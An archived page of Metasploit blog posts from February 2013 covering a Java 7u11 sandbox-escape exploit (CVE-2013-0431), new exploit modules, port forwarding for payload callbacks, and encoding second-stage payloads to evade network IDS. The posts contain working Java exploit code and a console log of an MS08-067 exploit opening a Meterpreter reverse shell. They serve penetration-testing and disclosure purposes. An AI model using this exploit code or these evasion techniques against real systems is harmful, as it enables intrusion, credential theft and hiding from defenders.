Skip navigation
All Places > Metasploit > Blog > 2013 > February
2013

According to the latest news, exploit kits such as Cool EK and Popads are integrating a new exploit for Java, targeting Java 7u11. An exploit for CVE-2013-0431 has been analyzed and shared by SecurityObscurity, and is also now available as a Metasploit module with some improvements for testability. We would like to use this blog post to share some details about the vulnerabilities abused by this new Java exploit.


Step 1: Getting access to restricted classes

 

The first of the vulnerabilities abuses the public findClass method from the com.sun.jmx.mbeanserver.MBeanInstantiator to get access to restricted classes:

 

/**
* Gets the class for the specified class name using the MBean
* Interceptor's classloader
*/
public Class<?> findClass(String className, ClassLoader loader)
  throws ReflectionException {


  return loadClass(className,loader);
}










 

The findClass method relies on loadClass, where the weakness lives, since it has been called with a null ClassLoader and:

(1) It will ask for the MBeanInstantiatior ClassLoader, which should return null (bootstrap loader) and

(2) Call Class.forName without ClassLoader, so Class.forName will use the Caller ClassLoader, which should be the bootstrap one.

 

/**
* Load a class with the specified loader, or with this object
* class loader if the specified loader is null.
**/
static Class<?> loadClass(String className, ClassLoader loader)
  throws ReflectionException {


  Class<?> theClass;
  if (className == null) {
  throw new RuntimeOperationsException(new
  IllegalArgumentException("The class name cannot be null"),
  "Exception occurred during object instantiation");
  }
  try {
  if (loader == null)
  loader = MBeanInstantiator.class.getClassLoader();// (1)
  if (loader != null) {
  theClass = Class.forName(className, false, loader);
  } else {
  theClass = Class.forName(className); // (2)
  }
  } catch (ClassNotFoundException e) {
  throw new ReflectionException(e,
  "The MBean class could not be loaded");
  }
  return theClass;
}










 

The method above is abused to get a reference to the restricted sun.org.mozilla.javascript.internal.GeneratedClassLoader class:

 

Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");

private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
{
  Object obj = null;
  JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
  MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();


  Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
  Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
  return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
}










 

Step: 2 Getting access to methods

 

The exploit abuses the com.sun.jmx.mbeanserver.Introspector class, which makes an insecure use of the invoke method of the java.lang.reflect.Method class, as documented by Adam Gowdiak. The, exploit, as also explained by Adam, invokes getDeclaredMethod from the java.lang.Class to get access to methods of restricted classes. Specifically the defineClass method from the sun.org.mozilla.javascript.internal.GeneratedClassLoader class:

 

Method method2 = getMethod(class2, "defineClass", false);

private Method getMethod(Class class1, String s, boolean flag)
  {
    try {
      Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
      Method[] amethod1 = amethod;


      for (int i = 0; i < amethod1.length; i++) {
        Method method = amethod1[i];
        String s1 = method.getName();
        Class[] aclass = method.getParameterTypes();
        if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
      }
    } catch (Exception localException) {  }


    return null;
  }










 

 

Step 3: Bypassing security control

 

In Java 7 Update 10, the security level for unsigned Java apps switched to "High," which means the user is prompted before any unsigned Java app runs in the browser, the exploits found in the wild aren't bypassing this control, so require user interaction in order to run the exploiting applet:

 

warning.png

 

The metasploit module is using the Security Control bypass also found by Adam Gowdiak. Adam noticed that the implementation of the above security levels doesn't take into account Java Applets instantiated with the use of serialization. A serialized version of the Exploit class can be obtained with the use of a Java application based in the code published in Adam's advisory:

 

import java.io.*;

public class Serializer {

    public static void main(String [ ] args)
    {
        try {
            Exploit b=new Exploit(); // target Applet instance
            ByteArrayOutputStream baos=new ByteArrayOutputStream();
            ObjectOutputStream oos=new ObjectOutputStream(baos);
            oos.writeObject(b);
            FileOutputStream fos=new FileOutputStream("Exploit.ser");
            fos.write(baos.toByteArray());
            fos.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
}










 

Demo

 

With all the pieces of the puzzle together, complete Java sandboxing and security level bypassing can be accomplished. You'll want to view the video at 720p and a decent-size monitor if you want to actually read the text in the video below.

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

DNS Module Split up

 

This week, we appear to have a whole bunch of new DNS-based enumeration and information gathering modules. In fact, this was actually more of a housekeeping chore, largely by longtime Metasploit contributor Carlos @darkoperator Perez. Darkoperator wrote most of the original enum_dns module as well.

 

enum_dns became a bit of a junk drawer of DNS functionality -- it did a whole bunch of everything for DNS. So, instead of just tacking on more and more over time, it's been split apart into several separate modules -- we now are shipping a bruteforce module (which tries to pick out hostnames and subdomains with a dictionary attack), a reverse lookup module (that pulls DNS names against a range of IPs), a service record (SRV) scanner, and a general information / profiler module.

 

Since these are all different functions in subtle ways, it makes sense to pick out these tasks specifically -- if you want to run them all together like you used to with enum_dns, you can just string them together with a resource file, but a lot of times, it's easier to divvy them up and take the results from one to feed another.

 

D-Link DIR-300 and DIR-600 Auth Bypass

 

I won't lie, I love authentication bypass modules. No no tricky offsets to calculate, no bad chars to figure out, no NX or DEP or anything to mitigate -- just straight up exercise-the-functionality style of exposure and exploitation. This week's update includes an "exploit" for D-Link routers, which are pretty common in home and small business environments, courtesy of Metasploit community contributor Michael @m-1-k-3 Messner. Turns out, the shipping command.php webapp on D-Link DIR-300 and DIR-600 routers doesn't actually require authentication. Whoops.

 

Sure, this is a home device, consumer gear. So who cares? Well, what kind of gear does your CFO use at home?  Unless she's a super nerd that likes managing her own complicated subnetted home network, I'm guessing that high-value human targets use consumer gear with pretty default-ish configurations.

 

Now, these kinds of targets are often not in scope -- but one of the goals of Metasploit is to be able to simulate what a real attacker would do, and I guarantee you that Unit 61398 doesn't care about your stated and agreed upon scope. Modules like this should be used to at least start that conversation with your pentesting clients about this sort of vector.

 

New Modules

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Tod's most excellent release notes. (Brandont, our usual release engineer, is out for a little while with a new kid. Congrats to you and Mrs. Dont!)

password auditing ss.JPGThis week's Whiteboard Wednesday features our ownhttp://www.rapid7.com/resources/videos/password-auditing-with-metasploit.jspDavid Maloney, speaking about password auditing techniques with Metasploit.

 

He details three quick and easy techniques for auditing in this clip including:

  • Brute forcing/online attacks
  • Hash Cracking/offline attacks
  • Password Recovery


This clip aims to give you a good overview about just how much risk your're being exposed to with passwords in your organization.

 

Watch the video here!

 

Thank as always for watching, and we'll see you next week - Same WB time, same WB channel.

28 Hours Later

 

This week, much of the Metasploit Framework and Metasploit Pro teams here at Rapid7 had the opportunity to get some intense, in-person training on exploit development from long-time Metapsloit contributor, Peter corelanc0d3r Van Eeckhoutte and local Corelan Teammates @_sinn3r and TheLightCosine. I'm the first to admit that my memory corruption skills are pretty light (I hang around mostly on network wires, not stack memory), so to have exclusive access to a hacker luminaries like these guys while being able to practice that skill set over two days was an amazing experience. Also, Peter's class was literally right about 28 hours over two days (which is how long it takes to zombify a person, apparently). If you have a chance to attend one, you will want to bulk up on proteins beforehand.

 

This is all a long way of explaining why we haven't been too active on IRC and on SecurityStreet this past week and why this blog post is a little bit late. Sorry about that. (:

 

MSFTidy as a Pre-Commit hook

 

Aside from the modules below, this release packages up a Git pre-commit hook for exploit developers. Git's pre-commit hooks are a useful mechanism to fire off a last-minute check on some code you're about to commit, and we have this great utility to do just that, so why not marry the two together? Now, if you simply link msftidy to your pre-commit hooks (as explained in the comment docs here) you will no longer suffer the wrath of sinn3r or Juan when you describe your exploit as a "stack overflow" when it's really a stack buffer overflow (among the many other lint checks).

 

Using this pre-commit hook will at least make sure that your code passes a minimum syntax and style bar, which tends to mean a faster trip through our Pull Queue, which means more exploits, which means more shells for everyone.

 

New Modules

 

In this week's haul of eight new modules, we have a really handy UNC path injector for Word documents from Metasploit contribution newcomer Artien Sphaz Bel. With this module, Sphaz has essentially automated a classic NTLM hash-stealing attack by using arbitrary documents, making this crazy useful. Thanks Sphaz! Of course, this means the race is on for XLSX and PPTX versions of the same attack (because, you know, variety).

 

Here are the rest -- thanks to everyone who threw in this week while we were basking in the radioactive supernova of 31337ness that is Corelan Team.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

If you are running an external penetration test and are working from a NATed network behind a wireless router, for example from home, you will need to adjust your router's port forwarding settings so the payload can connect back to Metasploit. The best option would be to eliminate the router and connect directly to the Internet, but that would make me unpopular with the other folks sharing the Internet connection, so it wasn't an option in my case. Setting up the port forwarding is not too difficult, but verifying that it works can be a little tricky. This blog post walks you through the steps to ensure that your network is set up correctly.

 

You won't need to go through these steps if the computer running Metasploit has a public IP address. Once you're done with the penetration test, you should remove the port forwarding to avoid this or a different machine being exposed on the Internet.

 

In this example, the machine running Metasploit Pro has the IP address 192.168.1.169. We'll choose 4444 as the listener port, both internally and externally, to reduce confusion. This is an Asus router, so your router configuration may look different.

 

Port forwarding.png

 

My router doesn't support ranges for the local port, otherwise I could have entered the range of 1024-65535 for both the external Port Range and the internal Local Port. This would give the payload a larger number of ports to connect back on, which increases the number of concurrent exploits you can run. Feel free to experiment with this if your router supports this - it will make your penetration test faster and more likely to succeed. Another option for me would have been to enter more than one line of port forwards, but one seemed enough to demonstrate the point.

 

Next, we'll set up a listener to test the port forwarding. Go to the modules tab and search "Generic Payload Handler".

 

generic payload handler.png

 

Select the module. We'll now need your public IP address. You can either get it from your router settings, or go to http://www.whatismyip.com/. Enter it in the field for Listener Host, leave the listener ports in their default configuration of 4444-4444. You need to use a range, not a value, otherwise the module will not work. Run the module. We now have an active listener running on the Metasploit machine, and the port 4444 is forwarded to the Metasploit machine.

 

Now let's test that the forwarding is working as expected. Go to www.canyouseeme.org, enter port 4444 in the box, and hit the Can You See Me button. If your configuration is set up correctly, you'll see a success message like this:

 

port forwarding working.png

 

Congratulations, you've done it! If you're getting a message that the port is not accessible, it may be because higher ports may be blocked by your ISP in some cases.


Before you start with your penetration test, you should stop the Generic Payload Handler task. Choose the exploit task, and set the Listener Port to 4444. When you're done, don't forget to switch off the port forwarding. You can get your Metasploit Pro trial on the Rapid7 website. Good luck!

It's Raining Crypto

 

This week's update brings a pile of new payloads to the Metasploit Framework -- namely, SSL versions of most of the Unix payloads we've all grown to love, courtesy of Metasploit community contributor Boris RageLtMan Lukashev. We've landed SSL versions of a bunch of reverse connectback payloads, including command shells from Perl, Python, Bash, PHP, Ruby, and Telnet, so now your shells will be a little more private from those pesky network defenders. Thanks RageLtMan!

 

 

An Exploit for UPnP: CVE-2012-5858

 

Since Rapid7's disclosure on various UPnP exposures and vulnerabilities, we've been hard at work to get some sample exploits out the door. Last week, we released a UPnP scanner that will detect fingerprintable, vulnerable versions of UPnP. This week, the efforts of HD Moore, Alex Eubanks, and Richard Harman have culminated in an exploit for the unique_service_name() vulnerability identified in pre-patched versions of the libupnp library. Of course, the best course of action is to disable UPnP access over untrusted networks, and ramp up your IDS/IPS monitoring to detect and prevent attacks. To borrow a phrase from the L0pht, this exploit moves this set of vulnerabilities from the theoretical to the practical, and should signal a ramp up in remediation efforts to get these UPnP endpoints shut down, at least over public networks.

 

More Video Camera System Bypasses

 

We also have another return to an old favorite, DVR security camera insecurity. This week, Metasploit exploit developer Juan Vazquez implemented the various authentication bypasses documented by Alejandro Ramos on his blog, Security By Default (en Español). Turns out, a number of DVRs present configuration information for unauthenticated download -- this includes credentials for not just the DVR, but associated Dynamic DNS providers, PPOE, and remote FTP servers. So, even if you're in that one percent of users that change your DVR's default password (a statistic I just made up), you're still exposed if you allow for HTTP connections over untrusted networks.

 

 

Normalizing Target URIs

 

Finally, this week's update brings some sanity back to the URI variables favored by exploit and auxiliary module developers. We've been going a little back and forth on the normalize_uri() method call used by the HTTP client mixin, but thanks to Metasploit exploit developer Wei @_sinn3r Chen and community contributor Chris John Riley, I'm pretty sure we've nailed down the the double slash / missing slash problem that some modules have been suffering for the last several weeks.

 

So, if you're a Metasploit exploit developer with a penchant for writing HTTP-based modules, you will want to pay special attention to sinn3r's HOWTO on writing effective, sensible HTTP requests on the Metasploit Framework dev wiki.

 

New Modules

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

As I mentioned in my post about compiling on the fly, encoders' primary purpose in life is to avoid bad characters in a payload. To recap, the main reason a character is considered "bad" is that some aspect of the exploit makes use of that character impossible.  One reason this might be the case is when a character gets stripped out or mangled along its journey through protocol decoding. For example, in the telnet protocol, \xff is the IAC or Interpret As Command byte. It is treated specially and cannot be used in a payload delivered via that protocol.

 

However, encoders have a secondary purpose as well: entropy. Encoders are essentially ineffective against Anti-Virus in most cases because of the nature of executable payloads, but can be much more useful against network-based intrusion detection. By making traffic as random as possible, we make it much more difficult for pattern matching on packets to notice anything nefarious.

 

One place this has been missing is in the second stage payloads. With a staged payload, the first stage connects back to Metasploit who hands it back a larger, more featureful payload. In the case of Meterpreter, the second stage payload is actually a DLL using Stephen Fewer's reflective loading technique to be able to treat the whole file as shellcode.  What this means from a network defense perspective, is seeing an MZ header come across the wire. That's bad news for the poor pentester who's just trying to make ends meet by owning corporate networks and stealing passwords.

 

Enter stage encoding. Encoding the second stage works just like encoding the stager but the purpose is different. Since the exploit has already done all the hard work of achieving code execution, and the first stage has prepared a nice chunk of memory for us to run in, the second stage doesn't have to worry about pesky things like character restrictions.

 

Here it is in action:

01:49:54 0 0 exploit(ms08_067_netapi) > show advanced

     [ ... snip ... ]
Payload advanced options (windows/meterpreter/reverse_tcp):
     [ ... snip ... ]
   Name           : EnableStageEncoding
   Current Setting: false
   Description    : Encode the second stage payload
     [ ... snip ... ]
   Name           : StageEncoder
   Current Setting:
   Description    : Encoder to use if EnableStageEncoding is set
     [ ... snip ... ]

01:49:55 0 0 exploit(ms08_067_netapi) > set EnableStageEncoding true
EnableStageEncoding => true
01:49:55 0 0 exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on 0.0.0.0:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (752158 bytes) to 192.168.99.128
[*] Meterpreter session 8 opened (192.168.99.1:4444 -> 192.168.99.128:1028) at 2013-01-29 01:50:18 -0600
[*] Session 8 created in the background.
01:50:18 1 0 exploit(ms08_067_netapi) >

The output here is only subtly different from before. Stage encoding adds a new line ("[*] Encoded stage with x86/shikata_ga_nai") telling us it has done its job. But the network is a different story. Here's what it looks like without stage encoding:

wireshark-no-encoding.png

And here it is with stage encoding enabled:

wireshark-with-encoding.png

 

Like encoding of the stager (or the single stage in the case of a standalone payload), we start with the highest ranked encoder module and fall through to lower-ranked modules if that doesn't work. Since there are no bad characters to avoid, the system will always pick the highest ranked encoder. Encoders are ranked by randomness, so you'll get a pretty good pile of entropy from the default for your platform (for x86, this is shikata_ga_nai). If you don't like that, you can set a particular one in the StageEncoder advanced option.

 

The idea for stage encoding has been around for a long time -- the first commit to introduce it was back in 2007 -- but it's been disabled for almost as long. Back in October, open source contributor Agix brought it back to the world's attention with a pull request that uncommented the encoding.  Unfortunately, it still had the problems that skape had encountered in 2007, namely that it just took far too long to encode the larger buffer of the second stage. After debating with several folks on what to do with this problem, I decided to just dig into it and find out why it was so slow and whether there was anything we could do about it.

 

Two major performance enhancements came out of that digging. The first was taking advantage of the fact that there can be no bad xor keys if there are no bad characters to avoid. Short-circuiting a loop over the entire buffer saved a bit. The second was much more substantial and has to do with a quirk of Ruby string manipulation, which I mentioned before, in 2009.

 

String#<< is the append operator. It takes the argument and stuffs it onto the end of your string, changing it in place.  String#+ on the other hand, returns a new String containing both. There is some amount of overhead in creating a new object compared to just changing an existing one, but that's only part of the issue here. The difference from a performance perspective is best illustrated with some pseudo-C:

 

// String#<<
self = realloc(self, strlen(self) + strlen(other) + 1);
memcpy(self + strlen(self), other, strlen(other));
return self;
// String#+
a = malloc(strlen(self) + strlen(b) + 1);
memcpy(a, self, strlen(self));
memcpy(a + strlen(b), self, strlen(self));
return a;

 

Notice that appending requires copying only the argument while creating a new string requires copying both, in addition to that small amount of overhead for creating a new string object. Notice also that if you put this in a loop, that small amount of overhead gets multiplied by the length of the loop and you take another hit the next time the garbage collector runs.

 

Changing one line in the encoding system to use << instead of += improved the performance of encoding large buffers by two orders of magnitude. The result is usable encoding on ~1MB of shellcode and no more MZ headers on the wire.

Filter Blog

By date: By tag: